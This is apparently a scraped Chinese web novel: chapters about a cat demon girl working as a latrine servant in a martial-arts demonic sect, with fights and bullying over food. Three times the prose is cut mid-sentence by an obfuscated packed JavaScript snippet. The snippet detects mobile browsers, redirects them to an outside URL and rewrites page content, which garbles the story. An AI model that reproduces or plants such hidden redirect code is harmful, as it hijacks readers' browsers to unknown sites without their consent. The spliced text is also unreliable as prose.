也不知道是因为自己用的是妖力还是狸猫儿原型天生的优势,她这一招的效果要比守阁老人强上不少。 自己果然是个修习的天材! 香蒲洋洋自得地下了石墙,在落地的那一刻,聪明的大脑再次占领了高地——不对,自己都用妖力了,为什么不直接用妖力穿墙而过? * 大半夜,香蒲悄悄地钻回了杂役院,她还记得自己的屋子在东面那个。 可一打开门,香蒲就被惊呆了。一条大通铺上面起码睡了二十来人,这简直比她刚出生的时候还要挤。 但更苦的日子香蒲也不是没有经历过,很快就给自己找了一个看起来还能接受的位置——靠着墙壁最里头的那一侧。 “让一让、让一让。”香蒲努力将旁边的人推开,给自己挤出了一小块地方,只是刚刚躺下酝酿出了一点点的睡意,就觉得小肚子一沉,一条大腿搭了上来。 香蒲睁着眼睛看头顶的房梁,“你的脚放我肚子上了。” 小腿的主人没有任何挪开的意思。 香蒲又努力地推了推,也许是因为挤得很了,这一推可将所有的报应都反弹回来,直接半个人滚在了自己身上。 脖子被一个脑袋顶住,简直无法呼吸。 而这个女娃娃似乎也被这动静吵醒了,半睁着眼睛,“本小姐记得我才是最里面的那个……” 接着,她忽然往香蒲身上钻了钻,唇瓣中又溢出了一丝呢喃:“甜甜的,香香的。” “你记错了。” 但身上的人没有继续对话的意思,仿佛真的只是梦中的一次呢喃,清浅均匀的呼吸声很快重新响起。 香蒲长长地舒了一口气,一个翻身用屁股对着她,才安安稳稳地睡去。 而天刚蒙蒙亮的时候,就有人陆续醒了过来。 身上薄薄的被褥被掀开,一缕干草从破损处钻出,正好掉在了香蒲的嘴上。 香蒲觉得嘴巴痒痒的,舔了舔唇瓣,也睁开了眼睛。 “你挤我,还抢我的被子!” 香蒲一睁眼,就被一双包含怒气的眼睛盯着。 苏采薇没有想到昨日那个拉着自己不放不知礼数的丫头居然会偷偷摸摸睡在了自己身边,还抢自己的被子。还真当自己好欺负不成? 香蒲也是一眼认出了这个女娃娃,她偏了偏脑袋:“我错了,你莫怪。” 苏采薇一噎,没有想到香蒲居然会那么快就认错了,倒让她一腔的怒气无处可泄。能在这个吃人地方活下来的人谁不是个硬茬子,更何况在昨日被香蒲拦下之后,她就托人打听了香蒲的身份。 她刚来就惹怒了孙长老和丑姑,更是硬茬子中的硬茬子。苏采薇微微眯起了眼睛,心里对香蒲的警惕更重了几分。 香蒲也起身了,看着一个个仆役宛如出巢的虫豸,各自前往自己当值的地方。自己今天也还要去打扫茅房吗?但两脚兽一晚上应该也拉不了多少吧? 说不定自己可以偷个懒,再去藏书阁一趟。 “等下,”苏采薇去而复返,眼神复杂地看向香蒲,“丑姑让你过去一趟。” 苏采薇很快就将香蒲带到了院门前,上头挂着黑底红字的牌匾,赫然写着龙飞凤舞的三字——血刑堂。 苏采薇叹了一口气,虽然对香蒲没有什么好印象,虽然在仆役院里悄无声息死掉的人数不胜数,但总归还是不忍心。 “进去吧,主子在里头等着你。”苏采薇催促,很快就收回了自己多余的同情心。 香蒲还不知道自己即将面对什么,手里甚至还提着木桶和粪铲,就被忽然带到了这里。 很重的血腥味,是个不祥的地方。 香蒲踏入院门,低头不留痕迹地看了看地面,似乎能透过这青灰色的石砖看见底下地牢里面的森森白骨。对危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405994|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险的恐惧让她瞬间起了一身鸡皮疙瘩,但也只是一眼,香蒲就恢复如常,继续朝着那个中堂走去。 “……那我先行告退。”一道冷冽的声音传入香蒲的耳中,不一会儿就有一道人影从中堂退出,身姿修长,穿着一套贴身的玄色练功服,干净利落,在路过香蒲的时候,并没有分给这个清扫的婢女半个眼神。 她的余光扫过,落在他薄唇上,那薄唇紧紧抿着,像是在忍耐着苦痛,没有一丝血色。香蒲认出了,他就是昨夜那个偷书贼。 “还呆站着,是等我亲自请你进来?”丑姑的声音从里头传来。 其实香蒲并没有发呆,只是她腿短,又拿着东西,走得太慢罢了。 香蒲并没有提速,慢吞吞地走进了中堂,拖着的粪铲在跨过门槛的时候发出了一声沉闷撞击声,打破了原先死寂的气氛。踩在青灰色的地砖上,脚感有些黏腻,铲片刮过,带起一层层泥垢,散发出一丝属于人血的腥甜气息。 丑姑阖着的双眼睁开,看向香蒲的眼神似笑非笑,而后转头朝另一人道:“彭长老,你是说我手下的这个乳臭未干的仆役打伤了你两个亲传弟子?” 彭长老也一惊,脸上也露出了一丝怀疑。那两个不争气的弟子只说被丑姑手下的人打伤了,却没有说打伤他们的竟然是一个八九岁的女娃,只怪自己没有任何怀疑,毕竟丑姑这个疯婆子什么人不敢杀,什么事做不出来? 可彭断山此时已然是骑虎难下,若是不能在今日之事上压丑姑一头,今后必然遭到这个疯婆子的记恨。 于是他冷笑一声,阴阳怪气:“谁人不知道你丑姑手底下人才济济。” 话锋一转,他将矛头直指香蒲,“此子虽然看起来年幼,但说不定实际是一个侏儒老怪物?” 丑姑眉头微挑,眼中的兴味更浓。 而香蒲心里却是掀起了惊涛骇浪,难怪山上的妖怪都说要小心行事,山外头的凡人鬼精鬼精的,一不小心就会暴露自己的身份。 这个老头的弟子昨天一眼就认出自己是“妖女”,而这个老头又是一口点明自己其实是一个百岁“老怪物”,真是火眼金睛! 虽然香蒲并不惧怕这些凡人,但按照山里的规矩,若是自己的身份被凡人知晓了,那就得乖乖地回山请罪。 “那你待如何?”丑姑开口。 “自然是让不知尊卑的人畜用血记住这个教训!”彭长老忽然发难,脚步一错,身形如箭扑来,右拳直取面门,拳风刚猛,竟然是针对一个黄口小儿下此杀招! 而就在这千钧一发之间,一条红丝自丑姑指尖弹射,咻地发出破空之声,目标直指彭长老出手的右拳!彭长老不得不侧身回防,用手间的赤金护腕接下了这一招。 “我这里可不是你的演武阁,也敢放肆。”丑姑依旧坐在主位上,甚至连姿势也不曾变动分毫。 彭长老心里大惊,一时之间竟猜不透丑姑的心思,他本以为不过是一个人畜,死就死了,可丑姑竟然出手相护,但看这漫不经心的模样,又吃不准这个丫头片子在她心里到底有几分地位。 “死丫头。”丑姑发话:“给我演示一下,你昨日是怎么打伤彭长老的两名弟子。” 香蒲被叫了一声,如梦初醒般,下意识地扭头看了一眼丑姑,她是不相信这个老头的话吗? “怎么,还需要我再说一遍吗?”丑姑漫不经心道:“用最大的力气,给彭长老好好表现表现。” 香蒲深吸了一口气,举起了粪铲,忽然朝着彭长老发难,“就像这样!” “哐——”沉闷的撞击声震耳欲聋,地板砖直接裂成了八瓣。 彭长老骇然失色! 5. 第 5 章 这一击不但将彭长老惊到,就连一直漫不经心的丑姑也坐直了身体,盯着那几道裂纹良久,忽然抚掌大笑:“有意思,真是太有意思了!没有想到人畜里头还有这等有意思的小人儿。” 彭长老面色更加难看了,方才自己一直在防备丑姑的突然出手,没想到险些着了这丫头片子的道,丢人,简直太丢人了! 同时,他也明白了为何自己那两个弟子都会折在香蒲手上,就这种力道,一铁铲下去,脑壳没有爆裂算是香蒲手下留情了。 这绝对不是这种年纪的孩子能够拥有的力气,若这个丫头并非什么缩骨的老怪物,而是天生力大无穷,岂不是继承自己一身绝学的好苗子? 顿时,彭长老再看向香蒲的目光没有了最开始的杀意。 可还不等彭长老仔细思考香蒲的来意,丑姑率先发难,“我这仆役天生神力,彭长老可是见识到了?” “与其在我这里兴师问罪,不如好好反省一下自己的境界,堂堂入臻境的武者竟然差点被一个小丫头暗算了,门下弟子可不都是些废物吗?” “要知道这里可是魔教,没有什么弟子之间禁止内斗的规矩,弱肉强食,才是这里唯一的生存法则。依我而言,技不如人死不足惜!” 彭长老被丑姑这一番话说得脸色一阵青红,方才生出那点收徒的心思早就烟消云散了,“好好好,”他收回气势,“这回是老夫门下弟子技不如人,是老夫叨扰你这血刑堂了。” “但若有下次,”彭长老剐了一眼香蒲,“可别落在老夫手上,告辞!” “不送。”丑姑回道。 彭长老气得鼻子都歪了,咬着牙赶紧离开这个糟心的地方。 香蒲抱着粪铲,左右张望,打算跟在彭长老身后浑水摸鱼地溜走。虽然自己从实力方面并不惧怕他们任何一个人,但奈何这些两脚兽的嘴里总能说出一些吓猫的话,生怕自己下一秒妖怪的身份就露馅了。 香蒲的小脚丫刚刚转动了一个方向,背后就传出阴冷的声音:“我让你走了吗?” 小脚丫又默默地收了回来。 香蒲是这批被抓回来的人畜里头难得穿戴整齐的,其他人大多数都是草鞋,甚至是光脚,就连布鞋都少见。可香蒲却有一双加厚加软的棉布鞋,鞋面绣着一些小草做点缀,再看那被养得白嫩的模样,之前定然是被家里人万分宠爱的存在。 丑姑心里的恶意止不住地蔓延,她从主座之上一步步走下,每一步都带着令人心惊的压迫:“你很怕我?” “不、不怕。” 丑姑笑了一下,咻地一下五指成抓,直接掐上了香蒲的脖子,“好一个不怕,今日便送你去见阎王如何?” 说着,手上的力气一点点地增加,染着红色豆蔻的指尖一点点地陷入柔软温热的皮肉之中。 而香蒲只是微微张大嘴巴,并没有反抗。 忽然,丑姑手下一松,香蒲身体一软摔倒在了地上,“咳咳咳……” “这是给你渎职的一点教训。”丑姑说这话的时候,五指是维持着抓握的姿势,仿佛若是香蒲面上露出一点儿的不满,就会真的送她归西。 但显然,香蒲没有读懂她的肢体语言,据理力争:“我都扫完了。” “分坛共有四十六所茅厕,一夜之间被填平了六所,其中又有二十八所深度少了过半,呵,这就是你所谓的清扫?” 香蒲噘了一下嘴,又极快地掩饰,居然被发现了。 “知道我为何还要留你吗?” “……因为我可爱?”香蒲不太确定,但山上的妖都说她是全天下最可爱的猫猫。那自己化成人形也定然是全天下最可爱的。 丑姑嘴角一抽,虽然她知道面前这小丫头没有什么脑子,但其愚蠢程度还是超出了她的预期。 “在你没来之前,分坛的茅房乃是由仆役轮流打扫,一次至少需要六名,而你,却能在一夜之间……”丑姑顿了顿,“算是清扫完。” “虽然你脑子不好,但力气够大,一个人能干六个人的活计,这才是我允许你放肆至今的理由。” 香蒲听到自己被评价脑子不好的时候难过得脊背都弯了下来,但听到后面的夸赞之后又顿时直挺起来。还点着脑袋,一副十分赞同的模样。 丑姑将她的小表情尽收眼底,只觉得心里被压抑的怒火又一点点地被点燃,最后决定在自己忍不住要杀了她泄愤之前将她赶出去。 “昨天你做的荒唐事我可以不和你计较,但再有下次,会让你知道什么叫做生不如死。你去丙三号院子,里面有一名哑妇,她会教你如何正确打扫茅房。” “哦。”香蒲提起自己的工具,结果说来说去,自己还是得扫茅房呗。哪个妖怪能像自己混的那么惨。 就在香蒲即将出门的一瞬间,丑姑的声音忽然从后头传来,指点道:“若是那哑妇不配合,你大可给她一些苦头尝尝。” “这块地儿可不在乎一两条人命。” 听到这话,香蒲逃也似地溜了出去,老头说过妖怪不能随便杀人,丑姑是在故意教坏猫嘞。 出了血刑堂,香蒲并没有乖乖听话去找哑妇,而是嗅到了灶房那里飘出来的饭菜香,经过这么一耽搁,已经到了用午膳的时间了。 于是她又高高兴兴地提着工具回仆役院。 来得早不如来得巧,香蒲回来的时候正巧看见一个粗壮的婆子正在分发饭食。她凑过脑袋去看,只看见一碗黄白相间的米汤,小麦的壳还没有褪去,整碗粥水略微发灰,稀得不能再稀。 香蒲一下子皱起了眉头,这看起来就很难吃的样子。但她很快就安慰好了自己,说不定饭不可貌相,人家只是单纯长得丑而已。 一个念头就把自己安慰好了,香蒲又高高兴兴地去排队。 而分发饭食的是一个粗壮的嬷嬷,她生得膀大腰圆,一看就是气力十足的模样,打饭的动作干净利落,一人一勺,很快就轮到了香蒲。 白嬷嬷和香蒲面面相觑,问道:“你的碗呢?” “啊?”香蒲后知后觉,四处看了一下,发现大家手里碗的形状都不一样,但都有自己的碗,“忘拿了。” 香蒲乖乖地离开,腾出位置给下一个人。但说实话,她也不知道去哪里找碗,于是她伸着脑袋在人群里面四下寻找。而苏采薇自然是看见了这一幕,忽然觉得头皮一麻,赶紧仰头大喝几口。 “你在这里啊。” “咳咳咳。” 没心没肺的声音下一刻就在身前响起,尽管做了心理准备,苏采薇还是被吓了一激灵:“你想干嘛?我可不会救你。” 苏采薇几口快速喝完,然后将碗藏在了自己的背后。对于他们这种仆役来说,一个属于自己的碗也是宝贵的财产。 香蒲:“我又不抢你的,就是来问问要去哪里找碗?” 苏采薇舔了舔嘴巴,“自己做的,要不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405995|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给点好处和人交换。” “啊……”香蒲的神情明显耷拉下来,一时半会儿,无论是现场做一个还是找人换都来不及了,等下又得错过吃午膳的时辰了。 “你、你干嘛。”苏采薇被香蒲直勾勾的视线盯得心里发慌。 香蒲也不回答,就是盯着她那只破碗看着。 苏采薇一闭眼,没招了,“算了,借你一回,记得洗干净还我。” 香蒲高高兴兴地捧着碗走了。 徒留苏采薇在背后冷笑,有时候就该让这缺心眼的丫头碰碰壁,别以为有了碗就真的有饭吃了吧? 香蒲还不知道人心险恶,只是乐滋滋地重新排了队,她自然是最后一个,有些仆役看见她高兴的脸色,与身旁的同僚对视一眼,纷纷流露出看好戏的神色。 看,又一个新来的不懂规矩。 还差几个就轮到香蒲的时候,香蒲开始急了。因为她眼尖地发现食桶里头已经不剩多少粥水了,虽然自己觉得难吃,也不一定吃,但不能没有呀。 面上露出焦急的神色,心里不断地期盼着嬷嬷给前面的人少打一些,匀一匀留下一口给自己。 白嬷嬷早就注意到了这个重新来排队的小丫头,眼见那细皮嫩肉、喜怒毫不遮掩的模样,就知道是新来的。 她故意装作没有看见,又是满满的一勺,得到饭食的仆役露出受宠若惊的神色,而与其相比就是香蒲越来越垮的脸色。 终于,轮到她了。 香蒲低头一看,太好了,还剩下半勺。 她骄傲地捧着碗递到了嬷嬷面前,她排队的时候就发现了,白嬷嬷打饭从来都不弯腰,而自己又长得矮小,为了让白嬷嬷能够顺利将饭食打进自己的碗里头,她特意踮着脚将碗送了上去。 “没了。”勺着半碗粥的木勺被扔回了食桶中,白嬷嬷甚至没有看香蒲一眼。 “还有半勺呢!”香蒲急了,“我不挑食。” “呵,”白嬷嬷终于暴露出了自己的恶意,“晚了就没饭吃,这就是老身定的规矩。” “我赶上了,”香蒲据理力争,“你明明就还在这里。” “哗啦——” 忽然,白嬷嬷手一扬,在所有人没有反应过来的时候,最后半勺粥水散落在地上,发出淅沥沥的声响,粥水一点点地渗透进泥地里,直到彻底被吸干。 白嬷嬷倨傲地仰着头,“在这地,老身就是规矩,我说你迟了,你就是迟了。你如果想吃,那就去地里舔。” 全场寂静无声,只是众人的面上都露出或多或少幸灾乐祸的神色。尤其是看见那小丫头低下头,一言不发只是默默地用衣袖擦着碗的动作,心里一阵爽快,怕是悄悄躲着哭鼻子吧。 忽然,碗被放在了地上,就在所有人不明所以的时候,一道黑影唰得掠过。 香蒲左脚迈出一大步,藏在裙袍之下的右脚肌肉绷紧,猛地发力欺身而上,右手犹如毒蛇出洞,指头狠辣准利地扣住了放在食桶里头的木勺把柄,紧接着手肘一撞,迅速拉开半身距离之后手臂抡圆,饭勺自下往上重重地捶打在白嬷嬷的下巴上! 怪力之下,白嬷嬷犹如断线的风筝,重重地摔在黄泥地上。 香蒲将饭勺反手往肩膀上一搭,一手按着饭勺一手叉腰:“丑姑说,这块地儿可不在乎一两条人命。” 众人齐齐倒吸了一口凉气。 要知道这白嬷嬷背后的靠山可是孙长老! 6. 第 6 章 “嗬嗬、嗬嗬。”白嬷嬷感觉到身体传来的剧痛,她这把老骨头根本经不起这样的摔打,而下巴传来的疼痛甚至让她连开口尖叫的动作都不敢做。 她一手小心地扶着自己的下巴,眼底发出怨毒的光,另一只手颤抖地指着她:“你这个以下犯上的刁奴,我回去定要禀报孙长老,将你丢到后山喂野人……你、你别过来!” “啊啊啊——” 香蒲拎着饭勺,重重地打在了白嬷嬷伸出来的右手上,剧烈的疼痛让她一下子忘记了下巴的伤口,发出痛苦的哀嚎。 骨、骨裂了! “你把我的饭给倒了,赔我。”说着,香蒲又举起了饭勺。她是真的生气了,不同于在茅厕前面堵自己的两个弟子,他们并没有伤害自己,香蒲自然也不会对他们亮出爪子,只是逗弄一下愚蠢的两脚兽罢了,但护食却是动物的天性。 白嬷嬷粗重地喘息着,仿佛这样就能抚平一些伤痛,可还不等她消化完这些伤痛,只见面前这个罗刹一般的恶童又举起了饭勺,似乎下一刻就要往自己脑袋上来一下似的。 会死,一定会死的! 白嬷嬷急中生智:“老奴,老奴的午膳还未用,大人若是赏脸就拿去。” 猫猫很好哄的,又重新将饭勺搭在了肩头上,“带路。” 白嬷嬷连滚带爬起来,赔着笑领路:“这边,这边请。” 香蒲没有丝毫虐待老人的自觉,大摇大摆跟着去了。苏采薇盯着香蒲的身形,若有所思,半晌,她小跑过去,拿起了自己被放在地上的木碗。 白嬷嬷虽然只是一个管饭的,但住的地方和其他下等仆役所差无几,唯一的好处是不用住大通铺,而是有个单人茅草屋。 香蒲推开白嬷嬷的房子,由木板搭成的简陋屋子在香蒲的巨力之下摇摇欲坠。白嬷嬷看着香蒲粗鲁的动作,心疼不已,生怕这个恶童将自己的屋子给拆了。 “饭呢?” “这里,这里。”听到香蒲话的白嬷嬷立马换了一副嘴脸,忍着疼痛殷勤地上前揭开倒扣在桌上的菜罩,“清汤寡水,还望大人不要嫌弃。” 猪油豆腐,野菜汤,香蒲看了一眼,不太满意,这和自己昨天偷吃的龙井糕明显不是一个档次的,但想到白嬷嬷和自己一样也是一个干苦力的,香蒲很快就接受了。 香蒲坐下来毫不客气地将所有的菜都倒在米饭里头,略带点焦黄色的油脂拌着去了壳的粟米饭,在此地已经是难得的上等佳肴,就一个字,香! “没有什么油水,”香蒲咂巴了两下嘴有些意犹未尽,点评道:“也没有肉。” 白嬷嬷看着被香蒲风卷残云一样消灭的饭菜心里疼得在滴血,这还是她和老汉两个人一天的伙食,都被这死丫头给毁了,越想越气,越想越心疼,等应付完这关,自己一定要让自己男人去孙长老那里给这死丫头上上眼药! “走了。”香蒲一抹嘴巴然后跳下了凳子,大摇大摆地往门外走去。 白嬷嬷赔着笑脸,“这是老奴的福分。”心里却恨不得香蒲被门槛绊倒直接摔死。 忽然,香蒲停了一下,白嬷嬷的心立刻悬了起来。 香蒲挠挠头,回头道:“多谢款待。”老头说过,做两脚兽要识礼数。 * 用完午膳,又被路上的太阳照得全身暖洋洋的,香蒲打了一个大大的哈欠,又想在这个地方偷懒。但刚一冒出这个念头,丑姑那张阴沉的脸马上闪过,算了算了,还是依言先去找哑妇吧。 丙三号并不难找,香蒲昨日也见过,就是最臭的那一处。 而香蒲早有准备,封闭了自己的五感,而当她姗姗来迟的时候,哑妇已然在干活儿了。 香蒲先是站在了门外,静静地看着她的动作。哑妇看起来不年轻了,皮肤干巴,脸上是宛如肉虫一样的鼓起的皱纹,用一块三角巾抹布捂住口鼻,在脑后打了一个结。身前有八个大缸,一半装着草木灰,而另一半里头的东西就多了,有潲水、青草、树叶树枝之类的杂物。 只见哑妇拿着木勺,将从背后的桶里头的粪水一勺勺加入到大缸里头,费力地搅动着。 这场景,香蒲还是流浪猫的时候见过,这是两脚兽在沤肥。 香蒲观察了一会儿,然后才上前说明自己的来意。 可没有想到哑妇刚听见‘丑姑’二字,立刻身体抖得跟个筛糠一样,手里的勺子一下子就掉在了地上,暴露在外头的眼睛里面流露出强烈的惊惧之意。就仿佛听见的是索命罗刹的名字。 香蒲是一只十分善解人意的小猫咪,就在旁边静静地等着,等到哑妇彻底缓了过来,才继续询问。 哑妇大口大口地喘着粗气,然后惊恐地看了香蒲一眼之后,将勺子放下,之后解开了口罩,来到一旁的空地上。 “你害怕我?”香蒲抬着头看她。 哑妇只是一味地摇头,什么都不说,只是用树枝在泥地上面比划,似乎真的想教会她一些东西。 哦,虽然后来香蒲也意识到,她的确什么都说不了。 许是香蒲自报了家门,哑妇倒没有怎么为难她,可以说是她来到这个地方以后遇见第二和善的人。 香蒲看着地上的图案,半蒙半猜,总算知道自己要干嘛了——不能埋屎,只能铲屎。掺和着草木灰一起将粪便装入恭桶,然后带回来给哑妇做肥料和猪饲料。 看到猪的时候,香蒲眼前一亮,想着什么时候路过去牵走一头,但当看见哑妇又画了一个投喂的图案之后,她立马蔫巴下来。 用粪便养出来的猪,应该不会太好吃。自己还是晚上溜出去抓鱼好了。 跟哑妇学完,香蒲又重新提着自己的木桶和粪铲出发了。 这一下午倒没有再出什么茬子,她甚至早早地就干完活计,随着最后一桶被倒进待搅拌的大缸里头,香蒲一屁股坐在了门槛上,愁容满面。 她觉得自己又累又臭,做人简直太难了。 就在香蒲对着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405996|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出长吁短叹的时候,丑妇却是差点被惊掉了眼珠子,平日里要六个人干一整天才能干完的活儿,香蒲却是两个时辰都不到就干完了。 她下意识地回头去看香蒲,仿佛是要辨认她到底是何等怪物,却只见香蒲好似一点儿也不拿自己当外人,“啪”地一下推开了她的房门,直接霸占了自己的床睡了一个时辰。 而等香蒲醒来的时候,天色又已经黑透了。 又错过饭点了。香蒲打了一个大大的哈欠,却一点也不慌。她没有回仆役院,也没有去往灶房,而是向着白嬷嬷的院子走去,轻车熟路,一点儿也不觉得自己有什么问题。 来得早不如来得巧,香蒲远远就闻到了从白嬷嬷房间里头传出来的饭菜香,甚至还有油腥味。再靠近了些,还能听见白嬷嬷叫骂的声音。 “你这死丫头是想故意摔死我吗?” “好啊,让我给你点颜色瞧瞧。” 说罢,房间里就传来一声压抑着的痛呼声。 白嬷嬷伸出没有受伤的那只手,肥厚的手指一把掐在了丫头的脸颊上,紧接着青筋爆起用足了力道狠狠地拧动,她的眼中闪烁着暴虐的凶光,仿佛就要这样将那名丫鬟的脸颊肉生生拧下来一般。 “该死!该死!一个贱蹄子也敢骑到我头上!”白嬷嬷口中咒骂着,似乎要透过这名丫鬟发泄出自己满腔的怒火。 “砰——” 香蒲慢悠悠地收回了脚,巨大的声响将房屋里头两人都给震慑住了,小丫头的痛呼声都因为这巨大的变故戛然而止。 香蒲无视两人震惊的目光,自顾自地坐在了白嬷嬷对面,然后伸手将她面前的饭食都给揽了过来。 白嬷嬷本能护食的动作要比脑子更快,连忙伸出手想要护住自己面前的面条,可就在她抬手之际,手臂骨折的剧痛叫回了她的理智,一抬头,果然见到香蒲目光幽幽地看着自己。 “您、您吃。”白嬷嬷意识到了刚刚自己在做什么,惊出了一身的冷汗,迅速将自己不安分的手指收了回来。 香蒲毫不客气地干饭,一看菜色,果然自己的鼻子没有骗自己,晚上的豆腐还加了肉沫,虽然肉质一点也不够细滑爽嫩,但香蒲好像也终于适应了这块地儿就是那么穷苦,把最后一点汤汁用来拌饭之后一口就给吞了,满意地打了一个饱嗝。 “味道不错,明天也要有肉。” “明、明天?”白嬷嬷两眼一翻,恨不得当场晕死过去,还有明天?! 那是不是还有后天和大后天!? 这是要将自己往死路上逼啊! 白嬷嬷的眼神一下子变得锐利起来,不行,自己一定得尽快下手除掉她,否则自己日后可没有好日子过了。思此,她眼中的怨毒更甚。 而这一幕让身旁的小丫鬟看在眼里,身体止不住地打了一个冷颤,同时心里也生出了几份同仇敌忾,就是因为这个新来的死丫头不听话,才会害得自己被嬷嬷惩罚。 该死,都该死! 7. 第 7 章 用完晚膳,香蒲没有再四处乱走,而是回到了仆役院的大通铺补觉。 只不过没有过多久,就被人叫醒了。 “醒醒,你醒醒。”是苏采薇的声音。 香蒲睁开了一只眼,嘴里含糊地应了一声,其实她并没有熟睡,早在有人进院子的时候她就发现了,一只成熟的猫咪睡觉时,眼睛可是轮流值班的。 苏采薇还在扒拉自己,香蒲没招了,慢腾腾地从床上坐起来。 苏采薇瞪着眼睛瞧她半晌,吐出几个字:“你又抢我的被子。如果我没记错的话,你是被分到去扫茅厕吧?” “已经干完了。” “我不是这个意思……”苏采薇的眉头皱得能够夹死人,她扯出被子的一角,深深地吸了一口,然后脸色变得更加古怪了。 居然……好像也不是很臭?但无论如何,她的脸色总算不像一开始一样嫌弃了。 “你这样跑回来,也不怕有人责罚?”苏采薇问道,她们这些做仆役的,可没有什么活儿干完了就可以各回各家的好规矩,就算主子不需要你,也得在一旁跪着!候着! “不知道啊。” “算了。”苏采薇好像才发现自己根本没有办法从这个笨蛋口中问出有价值的东西,于是她推着香蒲来到了仆役院的杂物房,指着旁边的小屋子说道:“你给我去洗干净,每天不收拾干净不许睡我旁边,现在时辰正好,大家都在当值,不会有人忽然闯入。男女七岁不同席,你已经是大人了,切记小心院里的男人……” “不洗。” 苏采薇的声音戛然而止,她垂下眼皮,眼神在一瞬间变得可怕至极,定定地看着香蒲,“你再说一次。” 香蒲眨了眨眼,她似乎感觉到了从苏采薇身上传来的淡淡杀意。但不洗就是不洗,没有任何一只猫会喜欢洗澡,但她也不是不爱干净,她会仔仔细细给自己舔毛,然后在摇椅上晒太阳,将自己的毛毛晒得蓬松又柔软,而开始修炼之后,还会每日额外给自己掐一个祛尘诀。 虽然香蒲不爱洗澡,但她已经是世上最爱干净的小猫了! 但苏采薇快要发疯了,怎么会有人玩屎还不洗澡呢! “我再问你一次……” “不洗。”香蒲一下子就甩开了苏采薇的手,撒丫子就往外跑,只不过一眨眼的功夫人就没影了。 只留下苏采薇站在原地,圆圆的杏眼里头转着泪花儿。气得在心里直咒骂,怎么会有人那么脏呢! * 为了防止有不长眼的再来打扰,香蒲直接化成了原型上树睡觉。多亏了她背部玄黑的皮毛,若不是仔细去瞧,断然是不会发现这里居然还有一只野猫。 而等到所有仆役都放值之后,香蒲才重新出现在苏采薇的视线里,在她几乎要杀人的目光中闭上了双眼。 接下来的几日,香蒲才总算觉得自己在人间站稳了脚跟,一早起来上工,睡觉,吃午饭,睡觉,吃晚饭,睡觉,再换一个地方睡觉,香蒲觉得自己过得还挺滋润的。 倒是睡在自己隔壁的苏采薇,脸色越来越蜡黄。 这日,苏采薇正在河边洗衣,香蒲忽然从树上倒挂下来,抓了一把她头发,将苏采薇吓得不轻。 苏采薇左右瞧瞧,眼见没有惊动看守的嬷嬷之后才对香蒲咬牙切齿道:“你就没点事做吗?” “我的活儿都干完了。”香蒲从树上跳下来,和苏采薇蹲在一起,假模假样地从苏采薇那里扯过一条袖子,装作自己也在干活:“你天天洗衣服,都瘦了一圈了。” “没有。” “有,最近你压在我身上都没有那么实心了。”香蒲思考了一会儿,像是又找到了证据:“你的手也开裂了。” 那双手越来越粗糙,而如果到冬天,两脚兽没有皮毛保护,那双手就会一点点龟裂,然后再怎么保养也恢复不到从前的样子。 苏采薇下意识地想把手缩回去,可一握拳,就看见了自己被河水泡得发皱、发白的十指。 而后她恼羞成怒地推了一下香蒲:“要你管。” 香蒲岿然不动,这点儿力气落在她的身上,比蚊子叮一口还要轻,也幸好苏采薇没有真的使什么力气,否则反而会伤到自己。 被天雷淬炼过的肉身强度可是那个什么金刚护体神功强多了,刀枪不入根本不在话下,更何况,香蒲是真的偷学到了金刚护体神功。 仿佛被香蒲的话刺激到了,苏采薇闷着头继续搓着衣服,直到过了一会儿,她的声音才又传来,“你的手怎么挑了那么多粪都没有变粗糙,是涂了什么香膏吗?” 香蒲:“……其实也没有挑很多粪吧。不对,你果然还是介意我挑粪。” “不想说就算了!”苏采薇恼羞成怒,“等我从这里出去了,想要什么香膏没有。” 旁边的人依旧没有回音。苏采薇终于忍不住偏头去看她,谁知道正好看见香蒲摸着下巴一副在努力思考的样子。 “我知道了!”香蒲恍然大悟,“肯定是你平常吃饭都吃不上好的,全都是米汤。” 香蒲一把将袖子丢回去给她洗:“我晚上给你带饭回来。” 至于去谁那里白嫖晚饭,这一点根本不用想,自然是倒霉的白嬷嬷。 “砰——” 又是一脚踹开了大门,香蒲淡定地缩回脚。几日以来,这种“敲门”的法子已经成为了香蒲专属的出场方式,白嬷嬷也由一开始的惊吓变得有些习惯了。 忽然,香蒲愣住了,她看着份量明显多了不少、花色也精致不少的饭菜,核桃仁大点儿的脑子也难得生出点怀疑来。 “你想害我?” 白嬷嬷顿时后背出了一身冷汗,但好在那么多年为奴为仆的生涯早就让她有了一副好演技,赔着笑脸叫屈:“这不是老奴这几日看大人都吃不饱,特意让灶房多送了点来,顺带将菜色也换上一轮,好让大人找到最称心的口味。” 